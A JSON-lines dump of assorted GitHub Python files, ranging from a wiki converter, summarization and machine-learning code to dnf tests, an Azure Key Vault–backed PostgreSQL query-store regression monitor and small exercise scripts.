unsupported item to DOM Tree.\n \"\"\"\n @classmethod\n def _factory(cls, input, output, **kw):\n return cls()\n\n def __call__(self, rev, contenttype=None, arguments=None):\n try:\n item_name = rev.item.name or rev.meta['name'][0]\n except IndexError:\n # item is deleted\n message = _(\n 'This deleted item must be restored before it can be viewed or downloaded, ItemID = {itemid}'\n ).format(itemid=rev.item.itemid)\n admonition = moin_page.div(attrib={moin_page.class_: 'error'}, children=[moin_page.p(children=[message])])\n body = moin_page.body(children=(admonition, ))\n return moin_page.page(children=(body, ))\n attrib = {\n xlink.href: Iri(scheme='wiki', authority='', path='/' + item_name,\n query='do=get&rev={0}'.format(rev.revid)),\n }\n a = moin_page.a(attrib=attrib, children=[\"Download {0}.\".format(item_name)])\n body = moin_page.body(children=(a, ))\n return moin_page.page(children=(body, ))\n\n\ndefault_registry.register(Converter._factory, Type('application/octet-stream'), type_moin_document)\ndefault_registry.register(Converter._factory, Type(type=None, subtype=None), type_moin_document)\n","repo_name":"moinwiki/moin","sub_path":"src/moin/converters/everything.py","file_name":"everything.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"19"} +{"seq_id":"15464969160","text":"# -*- coding: utf-8 -*-\nfrom ..summary import Summary\nfrom .base_summarization_method import BaseSummarizationMethod\nfrom .lang_model_ranking_method import LangModelRankingMethod\n\nclass LangModelTwoLayerSummarizationMethod(BaseSummarizationMethod):\n '''\n Rank iUnits based on the LM-based method used in iUnit ranking,\n put the top-ranked iUnits in the first layer,\n and put lower-ranked iUnits in the second layer relevant to them.\n Considered as a baseline method.\n\n The first layer and second layer are filled until the length of iUnits\n exceed the length limit.\n\n For each second layer, this baseline method utilizes the score below:\n\n Score(u, i) = OR(u) * Sim(u, i)\n\n where OR(u) is the odd ratio used in the LM-based method,\n and Sim(u, i) is asymmetric similarity between u and i,\n i.e.\n\n Sim(u, i) = |W_u \\cap W_i| / |W_i|\n\n where W_x is a set of words contained in x.\n iUnits that are not used in the first layer are put in the second layer\n based on Score(u, i)\n\n All the intents are used as links in the order in the intent file.\n '''\n\n SMALL_VALUE = 1e-5\n\n def __init__(self, parser, length_limit, min_count=3, smoothing=1):\n '''\n parser: must have \"word_tokenize\" method\n min_count: minumum frequncy for words to be used\n smoothing: added to the frequency of each word for smoothing\n '''\n self.ranking = LangModelRankingMethod(parser, min_count, smoothing)\n self.length_limit = length_limit\n\n def init(self, tasks):\n '''\n Count the frequency of words\n '''\n # duplicate message\n #print \"Initializing ...\"\n self.ranking.init(tasks)\n\n def summarize(self, task):\n '''\n Rank iUnits based on the LM-based method used in iUnit ranking,\n put the top-ranked iUnits in the first layer,\n and put lower-ranked iUnits in the second layer relevant to them.\n '''\n # duplicate message\n #print \"Processing %s\" % task.query.qid\n # get odd ratio\n iunit_score_list = self.ranking.rank(task)\n # add all the intents\n intents = task.intents\n limit = self.length_limit - sum([i.len for i in intents])\n first = list(intents)\n # add iUnits at the top of the first layer\n first_iunits = self._put_in_until_limit(iunit_score_list, limit)\n first = first_iunits + first\n # add iUnits in teh second layer\n remaining_iunit_score_list = filter(lambda x: not x[0] in first_iunits,\n iunit_score_list)\n seconds = {}\n for intent in intents:\n iunit_score_list_for_second = self._score_for_second(\n intent, remaining_iunit_score_list)\n seconds[intent.iid] = self._put_in_until_limit(\n iunit_score_list_for_second, self.length_limit)\n\n return Summary(task.query.qid, first, seconds)\n\n def _score_for_second(self, intent, iunit_score_list):\n '''\n Given intent i,\n return [(u, Score(u, i))] where Score(u, i) = OR(u) * Sim(u, i)\n '''\n return [(iunit, score * self._asym_similarity(iunit, intent))\n for iunit, score in iunit_score_list]\n\n def _put_in_until_limit(self, iunit_score_list, limit):\n '''\n Select iUnits until the total length exceeds the limit.\n '''\n sorted_list = sorted(iunit_score_list, key=lambda x: x[1], reverse=True)\n result = []\n total_length = 0\n for iunit, _ in sorted_list:\n total_length += iunit.len\n if total_length > limit:\n break\n result.append(iunit)\n return result\n\n def _asym_similarity(self, iunit, intent):\n '''\n Sim(u, i) is asymmetric similarity between u and i, i.e.\n Sim(u, i) = |W_u \\cap W_i| / |W_i|\n where W_x is a set of words contained in x.\n\n To avoid giving all the iUnits 0, SMALL_VALUE is returned \n if there is no overlap between the iUnit and intent.\n '''\n uwords = set(self.ranking.parser.word_tokenize(iunit.body))\n iwords = set(self.ranking.parser.word_tokenize(intent.body))\n if len(iwords) == 0:\n return 1.0 # the same score for all the iUnits\n else:\n overlap = float(len(uwords & iwords))\n if overlap == 0:\n overlap = self.SMALL_VALUE\n return overlap / len(iwords)\n","repo_name":"mpkato/mobileclick","sub_path":"mobileclick/methods/lang_model_two_layer_summarization_method.py","file_name":"lang_model_two_layer_summarization_method.py","file_ext":"py","file_size_in_byte":4463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"35086644141","text":"#Roger Van Peski, 9/29/13\n#new_coefficients.py\n\ndef copy_my_goddamn_list(l): #this is probs unnecessary, but python was being bitchy about multiple references and stuff\n newlist = []\n for i in range(len(l)):\n newlist.append(l[i])\n return newlist\n\ndef triple_list(l): #see above comment\n length = len(l)\n for i in range(length):\n l.append(copy_my_goddamn_list(l[i]))\n for i in range(length):\n l.append(copy_my_goddamn_list(l[i]))\n return\n \n\ndef config_list(length):\n '''gives data structure to loop over all possibilities of chain\n and slice, and automatically removes illegal configurations'''\n lists = [[]]\n for i in range(length):\n triple_list(lists)\n for it in range(len(lists)/3):\n lists[it].append(0) #this corresponds to choosing the chain\n lists[it+len(lists)/3].append(1) #corresponds to choosing first (left-sided) entry of property list\n lists[it+2*len(lists)/3].append(2) #corresponds to choosing second (right-sided) entry of property list\n for config in lists: #this is where we get rid of illegal configs\n for i in range(length-1):\n if config[i] == 2 and config[i+1] == 1:\n lists.remove(config)\n break\n return lists\n \n \ndef property_set(row1,row2): #pretty self-explanatory\n propertyset = []\n for index in range(len(row2)):\n entryset = [0,0,0] #first term is chain coefficient, second is left slice, third is right slice\n if row2[index] == row1[index] or row2[index] == row1[index+1]:\n entryset[0] = '0'\n if row2[index] != row1[index] and row2[index] != row1[index+1]:\n entryset[0] = '(1-t)(1-q)'\n if row2[index] == row1[index]:\n entryset[1] = '(-q)'\n if row2[index] == row1[index]-1:\n entryset[1] = 't'\n if row2[index] < row1[index]-1:\n entryset[1] = '0'\n if row2[index] == row1[index+1]:\n entryset[2] = '1'\n if row2[index] == row1[index+1]+1:\n entryset[2] = '(-q*t)'\n if row2[index] > row1[index+1]+1:\n entryset[2] = '0'\n propertyset.append(entryset)\n return propertyset\n \n\n \ndef coefficient(row1,row2):\n '''takes as input top row and second row of a GT\n pattern, outputs coefficient using new method'''\n length = len(row2)\n configs = config_list(length)\n propertyset = property_set(row1,row2)\n coeff_string = 'Expand['\n for i in range(len(configs)): #chooses a configuration of chain and slice terms\n config = configs[i]\n coefficient = ''\n for it in range(len(config)):\n coefficient += str(propertyset[it][config[it]])\n if it != len(config)-1:\n coefficient += '*'\n coeff_string += coefficient\n if i != len(configs)-1:\n coeff_string += '+'\n coeff_string += ']'\n return coeff_string\n \n \n \n","repo_name":"puma314/Symplectic-Code","sub_path":"new_coefficients_for original formula.py","file_name":"new_coefficients_for original formula.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"18561473892","text":"import numpy as np\r\n\r\narr = np.array([[1,2,3,14],\r\n [4,5,6,15],\r\n [7,8,9,16]])\r\n\r\nclass solution:\r\n def rotate(self, matrix):\r\n new_matrix = np.zeros((matrix.shape[1], matrix.shape[0]))\r\n height, width = matrix.shape\r\n for row in range(height):\r\n for col in range(width):\r\n new_matrix[col,height-row-1] = matrix[row,col]\r\n return new_matrix\r\n\r\nif __name__ == \"__main__\":\r\n s = solution()\r\n new_matrix = s.rotate(arr)\r\n print(\"顺时针旋转90度后的矩阵为:\")\r\n print(new_matrix)\r\n","repo_name":"runtao/picgo_temp_save_images","sub_path":"images/test3.py","file_name":"test3.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"42118624169","text":"from __future__ import absolute_import\nfrom __future__ import unicode_literals\n\nimport dnf\nimport logging\n\nimport tests.support\nfrom tests.support import mock\n\n\nclass MarkCommandTest(tests.support.DnfBaseTestCase):\n \"\"\"Tests of ``dnf.cli.commands.MarkCommand`` class.\"\"\"\n\n REPOS = [\"main\"]\n CLI = \"mock\"\n\n def setUp(self):\n super(MarkCommandTest, self).setUp()\n self.cmd = dnf.cli.commands.mark.MarkCommand(self.cli)\n\n @mock.patch('dnf.cli.commands.mark._',\n dnf.pycomp.NullTranslations().ugettext)\n def test_run_notfound(self):\n \"\"\"Test whether it fails if the package cannot be found.\"\"\"\n stdout = dnf.pycomp.StringIO()\n\n tests.support.command_configure(self.cmd, ['install', 'non-existent'])\n with tests.support.wiretap_logs('dnf', logging.INFO, stdout):\n with self.assertRaises(dnf.cli.CliError):\n self.cmd.run()\n self.assertEqual(stdout.getvalue(),\n 'Error:\\nPackage non-existent is not installed.\\n')\n\n @mock.patch('dnf.cli.commands.mark._',\n dnf.pycomp.NullTranslations().ugettext)\n def test_run(self):\n \"\"\"Test whether it fails if the package cannot be found.\"\"\"\n\n stdout = dnf.pycomp.StringIO()\n\n with tests.support.wiretap_logs('dnf', logging.INFO, stdout):\n tests.support.command_run(self.cmd, ['install', 'pepper-20-0.x86_64'])\n self.assertEqual(stdout.getvalue(),\n 'pepper-20-0.x86_64 marked as user installed.\\npepper-20-0.x86_64 marked as user installed.\\n')\n","repo_name":"rpm-software-management/dnf","sub_path":"tests/cli/commands/test_mark.py","file_name":"test_mark.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","stars":1149,"dataset":"github-code","pt":"19"} +{"seq_id":"1845671149","text":"\"\"\"\nPython version : 3.8.12\nDescription : Contains the architecture of BiGRU Classifier trained on pre-trained BERT embeddings.\n\"\"\"\n\n# %% Importing Libraries\nimport torch\nimport torch.nn as nn\n\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\n# %% GRUCLassifier layer with Bert Embeddings\nclass BiGRUBertClassifier(nn.Module):\n\n def __init__(self, vocab_size, embedding_size, hidden_units, max_seq_len, batch_size, n_layers, output_size, dropout=0.65):\n super(BiGRUBertClassifier, self).__init__()\n\n # self.embedding = nn.Embedding(len(vocab_size), embedding_size)\n self.hidden_units = hidden_units\n self.gru = nn.GRU(input_size=embedding_size,\n hidden_size=hidden_units,\n num_layers=n_layers,\n batch_first=True,\n bidirectional=True)\n self.output_size = output_size\n self.max_seq_len = max_seq_len\n self.batch_size = batch_size\n self.drop = nn.Dropout(p=dropout)\n self.fc = nn.Linear(2*hidden_units, 4000)\n # self.fc2 = nn.Linear(4000, 768)\n self.label = nn.Linear(4000, output_size)\n\n def forward(self, text_emb):\n # text_emb = self.embedding(text)\n text_len = torch.tensor([self.max_seq_len]*self.batch_size)\n packed_input = pack_padded_sequence(text_emb, text_len, batch_first=True, enforce_sorted=False)\n packed_output, _ = self.gru(packed_input)\n output, _ = pad_packed_sequence(packed_output, batch_first=True)\n\n output_forward = output[range(len(output)), text_len - 1, :self.hidden_units]\n output_reverse = output[:, 0, self.hidden_units:]\n output_cat = torch.cat((output_forward, output_reverse), 1)\n output = self.drop(output_cat)\n\n fc_out = self.fc(output)\n # fc_out = self.fc2(fc_out_)\n logits = self.label(fc_out)\n\n return logits\n\n\nclass BiGRUFasttextClassifier(nn.Module):\n def __init__(self, vocab_size, embedding_dim, hidden_dim, output_dim, n_layers, bidirectional, dropout, pad_idx):\n \n super().__init__()\n \n self.embedding = nn.Embedding(vocab_size, embedding_dim, padding_idx = pad_idx)\n self.rnn = nn.GRU(embedding_dim, hidden_dim, num_layers=n_layers, bidirectional=bidirectional, dropout=dropout, batch_first=True)\n self.fc1 = nn.Linear(hidden_dim * 2, 4000)\n self.fc2 = nn.Linear(4000, output_dim)\n self.dropout = nn.Dropout(dropout)\n\n \n def forward(self, text, text_lengths):\n \n # text = [batch size, sent len]\n \n embedded = self.embedding(text)\n # embedded = [batch size, sent len, emb dim]\n \n #pack sequence\n packed_embedded = nn.utils.rnn.pack_padded_sequence(embedded, text_lengths, batch_first=True)\n packed_output, hidden = self.rnn(packed_embedded)\n \n #unpack sequence\n # output, output_lengths = nn.utils.rnn.pad_packed_sequence(packed_output)\n\n # output = [sent len, batch size, hid dim * num directions]\n # output over padding tokens are zero tensors\n \n # hidden = [num layers * num directions, batch size, hid dim]\n # cell = [num layers * num directions, batch size, hid dim]\n \n # concat the final forward (hidden[-2,:,:]) and backward (hidden[-1,:,:]) hidden layers\n # and apply dropout\n \n hidden = self.dropout(torch.cat((hidden[-2,:,:], hidden[-1,:,:]), dim = 1))\n output = self.fc1(hidden)\n output = self.dropout(self.fc2(output))\n \n #hidden = [batch size, hid dim * num directions]\n \n return output","repo_name":"maastrichtlawtech/VendorLink","sub_path":"architectures/GRUClassifier.py","file_name":"GRUClassifier.py","file_ext":"py","file_size_in_byte":3719,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"19"} +{"seq_id":"36243887606","text":"'''\nClass to output residual plot directly\n'''\nimport libstempo as T\nimport numpy as N\nclass Tempo2Res(object):\n def __init__(self, timfile='test.tim', parfile='test.par'):\n self.timfile = timfile \n self.parfile = parfile\n self.toas = None\n self.res = None\n self.toaerr = None\n\n def fit(self,pfile,tfile):#,pfile='test.par',tfile='test.tim'):\n psr = T.tempopulsar(parfile=pfile, timfile = tfile)\n # print psr.toas(), psr.residuals()\n i = N.argsort(psr.toas())\n self.toas = psr.toas()[i]\n self.res = psr.residuals()[i]\n self.toaerr = psr.toaerrs[i]\n del(psr)\n\n def plot(self,axes,show=False,*args,**kwargs):\n import matplotlib.pyplot as P\n # fig = P.figure() \n P.sca(axes)\n P.errorbar(self.toas,self.res,yerr=1e-6*self.toaerr,fmt='o',c='black',*args,**kwargs)\n P.xlabel('MJD')\n P.ylabel('Residuals [$\\mu s$]')\n P.title('Residuals')\n if show:\n P.show()\n\n def show(self,*args,**kwargs):\n self.fit()\n self.plot(show=True)\n\nif __name__ == '__main__':\n # testing\n tr = Tempo2Res()\n tr.show()\n","repo_name":"shiningsurya/TimingVisard","sub_path":"ResVisard/tempo2res.py","file_name":"tempo2res.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"69981885164","text":"# i=0\n# while i<=5:\n# a=int(input('Guess the number: '))\n# i+=1\n# if a==5:\n# print('Wow you guessed the correct number')\n# break\n# elif a>5:\n# print('Number entered by you is greater, try one more time ')\n# else:\n# print('Number entered by you is small, try one more time ')\n\n\ni=0\nwhile i<=5:\n a=int(input('Guess the number: '))\n i+=1\n if a==5:\n print('You WON!')\n break\n else:\n print('Guess Again')","repo_name":"itsabhishekmehra/Loops","sub_path":"Gameguess.py","file_name":"Gameguess.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"13378424760","text":"class TreeNode:\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None \n\ndef inorderTraversal(root):\n answer = []\n inorderTraversalUtil(root, answer)\n return answer\n\ndef inorderTraversalUtil(root, answer):\n if root is None:\n return\n inorderTraversalUtil(root.left, answer)\n answer.append(root.val)\n inorderTraversalUtil(root.right, answer)\n return\ndef preorderTraversal(root):\n answer = []\n preorderTraversalUtil(root, answer)\n return answer\n\ndef preorderTraversalUtil(root, answer):\n if root is None:\n return \n answer.append(root.val)\n preorderTraversalUtil(root.left, answer)\n preorderTraversalUtil(root.right, answer)\n return\n\ndef postorderTraversal(root):\n answer = []\n postorderTraversalUtil(root, answer)\n return answer\n\ndef postorderTraversalUtil(root, answer):\n if root is None:\n return\n postorderTraversalUtil(root.left, answer)\n postorderTraversalUtil(root.right, answer)\n answer.append(root.val)\n return\n\nroot = TreeNode(1)\nroot.left = TreeNode(2)\nroot.right = TreeNode(3)\nroot.left.left = TreeNode(4)\nroot.left.right = TreeNode(5)\n\nprint(\"InOrder:\",inorderTraversal(root))\nprint(\"PreOrder:\",preorderTraversal(root))\nprint(\"PostOrder:\",postorderTraversal(root))","repo_name":"himanshubalani/DSPDLab","sub_path":"Practical8.py","file_name":"Practical8.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40075289581","text":"import logging\nimport json\nimport azure.functions as func\n\nfrom SearchCVbyID.db_operations import searchCvByCvId\n\n\ndef main(req: func.HttpRequest) -> func.HttpResponse:\n logging.info('Python HTTP trigger function processed a request.')\n\n cvId = req.params.get('cvId')\n if not cvId:\n try:\n req_body = req.get_json()\n except ValueError:\n pass\n else:\n cvId = req_body.get('cvId')\n\n if not cvId:\n return func.HttpResponse(\n \"Enter the id of the CV\",\n status_code=400\n )\n else:\n result = searchCvByCvId(cvId)\n return func.HttpResponse(\n json.dumps(result),\n status_code=200\n )\n","repo_name":"mvgachev/COMP3207_Backend","sub_path":"SearchCVbyID/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17644269878","text":"Import('env')\n\nif env['OS'] == 'android' and env['ANDROID_PROXIMITY'] == 'on':\n env.Append(CPPDEFINES = 'AJ_ENABLE_PROXIMITY_SCANNER')\n\n# JNI library sources\nsrcs = ['alljoyn_java.cc']\n\n#if env['OS'] == 'android':\n#\tsrcs += ['P2pHelperService.cc']\n\nobjs = env.SharedObject(srcs)\n\n# JNI library\nbdenv = env.Clone()\nif bdenv['BD'] == 'off':\n # The JNI code must link in the bundled daemon even if BD is set to 'off'\n bdenv.Prepend(LIBS = ['ajdaemon'])\n bdenv.Prepend(LIBS = env['bdobj'])\n\n\nliballjoyn_java = bdenv.SharedLibrary('alljoyn_java', objs)\n\nReturn('liballjoyn_java')\n","repo_name":"jo1983/alljoyn_java","sub_path":"jni/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"73967663723","text":"class utilities:\n\n def __init__(self):\n import string\n import logging as logging\n\n self.logging = logging\n self.admin = 'dummy_sender@outlook.com'\n self.sender = 'dummy_sender@outlook.com'\n self.scenarios_to_run = ['BlockingQueries']\n self.scenario_file_path = './docs/scenarios.json'\n self.key_vault_uri = 'https://qsmonitoringkv.vault.azure.net'\n self.credentials = None\n self.smtpserver = 'smtp.office365.com'\n self.smtpport = 587\n self.sender_secret_name = 'senderSecret'\n self.environment_name = 'kidb'\n\n # ################################################\n # Import related functions\n # ################################################\n\n def import_library(self, library_package, library_names = None):\n try:\n if library_names is None:\n self.logging.info(\"Importing %s library\" % library_package)\n return __import__(library_package)\n else:\n self.logging.info(\"Importing %s library from %s\" %(' and '.join(library_names),library_package))\n return __import__(name=library_package,fromlist=library_names)\n except ImportError:\n raise ImportError('Library was not found: %s' %(library_package))\n\n # ################################################\n # Authorization & Authentication related functions\n # ################################################\n\n def get_credentials(self):\n try:\n j = self.import_library('json')\n sp= self.import_library('azure.common.credentials',['ServicePrincipalCredentials'])\n #import_library('msrestazure.azure_active_directory','MSIAuthentication')\n #self.import_libraries('msrestazure.azure_active_directory','MSIAuthentication')\n\n with open('./secrets/secrets.json','r') as data_file:\n data = j.load(data_file)\n\n tenant_id = data['keyvault']['tenant_id']\n # Your Service Principal App ID\n client = data['keyvault']['client']\n # Your Service Principal Password\n key = data['keyvault']['key']\n\n credentials = sp.ServicePrincipalCredentials(client_id = client, secret = key, tenant = tenant_id)\n # As of this time this article was written (Feburary 2018) a system assigned identity could not be used from a development/local\n # environment while using MSIAuthentication. When it's supported, you may enable below line instead of the above lines\n # credentials = MSIAuthentication()\n return credentials\n except:\n self.credentials = None\n\n def get_secret_value(self,secret_name):\n #secret_name maps to the EnvironmentName in scenarios.json\n kvc = self.import_library('azure.keyvault',['KeyVaultClient'])\n self.import_library('azure.keyvault',['KeyVaultAuthentication'])\n\n if(self.credentials is None):\n self.credentials = self.get_credentials() \n key_vault_client = kvc.KeyVaultClient(self.credentials)\n\n # Your KeyVault URL, name of your secret, the version of the secret. Empty string for latest. Your provided enviroment needs to match the secret name\n return key_vault_client.get_secret(self.key_vault_uri, secret_name,\"\").value\n\n # ################################################\n # Sql connectivity related functions\n # ################################################\n\n def get_connection(self,conn_string):\n psycopg2 = self.import_library('psycopg2')\n try:\n return psycopg2.connect(conn_string)\n except Exception as e:\n self.logging.error(\"could not establish connection: %s\" %(e))\n\n def get_cursor(self,conn):\n cursor = conn.cursor()\n return cursor\n\n def commit_close(self,conn,cursor):\n conn.commit()\n cursor.close()\n conn.close()\n\n def rollback_close(self,conn,cursor):\n conn.rollback()\n cursor.close()\n conn.close()\n\n\n # ################################################\n # Alerting scenario related functions\n # ################################################\n\n def get_scenario(self,scenario=None):\n os = self.import_library('os')\n json = self.import_library('json')\n try:\n self.logging.info(\"Current working directory is: %s\" %os.getcwd())\n self.logging.info(\"Reading the scenario specifics\")\n \n with open(self.scenario_file_path,'r') as data_file:\n data = json.load(data_file)\n\n #read the json entry matching the scenario into a list\n if(scenario is None):\n return data\n else:\n return [v[0] for k,v in data.items() if k == '%s'%(scenario)]\n\n except Exception as e:\n self.logging.error(\"Error reading scenario file: %s\" %(e))\n\n\n\n # ################################################\n # Email related functions\n # ################################################\n\n def send_mail(self,to, fr, subject, text, files={},server='smtp.office365.com'):\n import smtplib\n from email.mime.multipart import MIMEMultipart\n from email.mime.base import MIMEBase\n from email.mime.text import MIMEText\n from email.utils import formatdate \n from email import encoders\n\n try:\n msg = MIMEMultipart()\n msg['From'] = fr\n msg['To'] = to\n msg['Date'] = formatdate(localtime=True)\n msg['Subject'] = subject\n msg.attach( MIMEText(text) )\n\n for filekey,filevalue in files.items():\n part = MIMEBase('application', \"pdf\")\n part.set_payload(filevalue.read())\n encoders.encode_base64(part)\n part.add_header('Content-Disposition', 'attachment; filename=\"%s\"'% filekey)\n msg.attach(part)\n\n smtp = smtplib.SMTP(self.smtpserver,self.smtpport)\n smtp.ehlo()\n smtp.starttls()\n smtp.login(self.sender,self.get_secret_value(self.sender_secret_name))\n smtp.sendmail(fr, to, msg.as_string() )\n smtp.close()\n self.logging.info(\"Successfully sent email\")\n\n except smtplib.SMTPException as e:\n self.logging.error(\"Unable to send email: %s\" %(e))\n\n def detect_significantly_different_queries(\n self, \n aggregation_function = 'sum', \n column_to_evaluate = 'mean_time',\n baseline_period_start = '2018-08-01 10:00:00-07',\n baseline_period_end = '2019-02-15 10:00:00-07',\n current_period_start = '2019-02-15 10:00:00-07',\n current_period_end = '2019-03-01 10:00:00-07',\n p_threshold = 0.05,\n directional_preference = 1, # -1 for decrease, +1 for increase, 0 for either way\n percent_change_threshold = 0.05\n ):\n\n import pandas as pd\n import numpy as np\n from scipy.stats import ttest_ind, ttest_ind_from_stats\n #from scipy.special import stdtr\n import matplotlib.backends.backend_pdf\n import matplotlib.pyplot as plt\n pdfs = {}\n\n qs_metric_aggregation_grouped_by = \"with ordered_qs_aggregation as (\\\n select query_id as group_by, query_sql_text, start_time, datname, %s(%s) as metric \\\n from query_store.qs_view join pg_database on query_store.qs_view.db_id = pg_database.oid \\\n where start_time >= '%s' and start_time < '%s' \\\n group by group_by, query_sql_text, start_time, datname order by datname,group_by, start_time ) \\\n select datname as database_name,group_by, query_sql_text, array_agg(metric) as metric_value, array_agg(start_time) as timeseries \\\n from ordered_qs_aggregation group by datname, group_by, query_sql_text\"\n conn = self.get_connection(self.get_secret_value(self.environment_name))\n cursor = self.get_cursor(conn)\n\n\n #ws\n #cursor.execute(ws_metric_aggregation_grouped_by % (baseline_period_start,baseline_period_end))\n #baseline = pd.DataFrame(cursor.fetchall(), columns=['db_id', 'group_by', 'metric_distribution'])\n\n #cursor.execute(ws_metric_aggregation_grouped_by % (current_period_start,current_period_end))\n #current = pd.DataFrame(cursor.fetchall(), columns=['db_id', 'group_by', 'metric_distribution'])\n\n #qs\n cursor.execute(qs_metric_aggregation_grouped_by % ('sum','mean_time',baseline_period_start,baseline_period_end))\n baseline = pd.DataFrame(cursor.fetchall(), columns=['database_name', 'group_by','description', 'metric_distribution','timeseries'])\n\n cursor.execute(qs_metric_aggregation_grouped_by % ('sum','mean_time',current_period_start,current_period_end))\n current = pd.DataFrame(cursor.fetchall(), columns=['database_name', 'group_by','description', 'metric_distribution','timeseries'])\n\n self.commit_close(conn,cursor)\n\n if(len(baseline.index)>0 and len(current.index)>0):\n comparison_frame = pd.merge(baseline, current, how='right', left_on=['database_name','group_by'],right_on=['database_name', 'group_by'])\n \n row_count = len(comparison_frame.index)\n i = 0\n pdf = matplotlib.backends.backend_pdf.PdfPages(\"./docs/output.pdf\")\n\n for index, row in comparison_frame.iterrows():\n query_id = comparison_frame.iloc[index,1]\n database_name = comparison_frame.iloc[index,0]\n query_text = comparison_frame.iloc[index,2]\n\n #create distribution of metrics from query store per query for baseline period and current period\n b = np.asarray(comparison_frame.iloc[index,3])\n c = np.asarray(comparison_frame.iloc[index,6])\n\n # Compute the descriptive statistics of baseline (b) and current(c)\n bbar = b.mean()\n bvar = b.var(ddof=1)\n nb = b.size\n bdof = nb - 1\n\n cbar = c.mean()\n cvar = c.var(ddof=1)\n nc = c.size\n cdof = nc - 1\n\n if (bdof<=0 or cdof<=0):\n continue\n if (nb<30 or nc<30):\n #not enough population size for central limit theorem to hold\n continue\n if (directional_preference*(cbar-bbar)<0):\n continue\n if((abs(cbar-bbar)/bbar) p_threshold):\n result = 'failed to reject h0: no difference significance (query_id: %s database_name: %s) ' % (query_id,database_name)\n elif (one_sided_p < p_threshold):\n i = i + 1\n result = 'rejected h0: difference significance (query_id: %s database_name: %s) ' % (query_id,database_name)\n baseline_series = pd.Series.from_array(comparison_frame.iloc[index,3],comparison_frame.iloc[index,4])\n current_series = pd.Series.from_array(comparison_frame.iloc[index,6],comparison_frame.iloc[index,7])\n\n fig, ax1 = plt.subplots(figsize=(10,4))\n baseline_series.plot(ax=ax1)\n\n current_series.plot(ax=ax1)\n fig.text(0,0.5,'Query ID: %s\\n\\nDatabase: %s\\n\\nQuery Text (first 100): %s\\n\\n\\np-value:%s'%(comparison_frame.iloc[index,1],comparison_frame.iloc[index,0],comparison_frame.iloc[index,2][:100],p),ha='right',va='top')\n \n plt.legend (loc='best')\n pdf.savefig(fig, bbox_inches='tight')\n\n else:\n result = 'nan: omit processing (query_id: %s database_name: %s) ' % (query_id,database_name)\n self.logging.info(result)\n self.logging.info(\"Row: %s of %s processed. count of series with significant difference:%s \" %(index+1,row_count,i))\n\n pdf.close()\n pdfs['output'] = pdf\n\n return pdfs\n else:\n self.logging.info('No records exist in one or more periods you specified. Please select ranges for which both baseline and current data exists')\n return None\n","repo_name":"chisqrd/stat-based-regression-monitoring","sub_path":"stat-based-monitor/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":12593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"17838668104","text":"#!/usr/bin/env python3\n\n\nclass Person():\n def __init__(self, line):\n infor = line.split(',')\n self.first_name = infor[0]\n self.last_name = infor[1]\n self.username = infor[2]\n self.age = int(infor[3])\n self.gender = infor[4]\n self.city = infor[5]\n\n def get_value(self, field):\n if field == 'first_name':\n return self.first_name\n elif field == 'last_name':\n return self.last_name\n elif field == 'username':\n return self.username\n elif field == 'age':\n return self.age\n elif field == 'gender':\n return self.gender\n elif field == 'city':\n return self.city\n\n def select(self, fields):\n # return fields' values should be printed out\n outputs = []\n fields_list = fields.split(', ')\n for field in fields_list:\n outputs.append(str(self.get_value(field)))\n return ', '.join(outputs)\n\n def verify(self, condition):\n # verify a line to be returned\n left = condition['left']\n if 'first_letter' in left:\n value = self.get_value(left[13:])[0]\n else:\n value = self.get_value(left)\n try:\n right = int(condition['right'])\n except ValueError:\n right = condition['right']\n op = condition['op']\n if op == '<':\n return value < right\n elif op == '>':\n return value > right\n elif op == '=':\n return value == right\n else:\n return value != right\n\n def all_conds(self, list_conds):\n # all conditions indicated must be verified for a line to be returned\n for cond in list_conds:\n if not self.verify(cond):\n return False\n return True\n\n def one_cond(self, list_conds):\n # at least 1 of th conditions indicated must be verified to be returned\n for cond in list_conds:\n if self.verify(cond):\n return True\n return False\n\n\nclass ListPeople():\n def __init__(self, data):\n self.people_list = []\n for line in data:\n self.people_list.append(Person(line[:-1]))\n\n def query(self, query_dict):\n queried = []\n if 'where_and' in query_dict.keys():\n for person in self.people_list:\n if person.all_conds(query_dict['where_and']):\n queried.append(person)\n elif 'where_or' in query_dict.keys():\n for person in self.people_list:\n if person.one_cond(query_dict['where_or']):\n queried.append(person)\n else:\n queried = self.people_list\n if 'order' in query_dict.keys():\n queried.sort(key=lambda e: e.get_value(query_dict['order']))\n if 'select' in query_dict.keys():\n fields = query_dict['select']\n else:\n fields = 'first_name, last_name, username, age, gender, city'\n result = []\n for person in queried:\n result.append(person.select(fields))\n return '\\n'.join(result)\n","repo_name":"chimtrangbu/TheBench","sub_path":"people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":3144,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"24393372197","text":"from meme_bot.request_objects.post_message import PostMessageRequestObject\nfrom meme_bot.shared.request 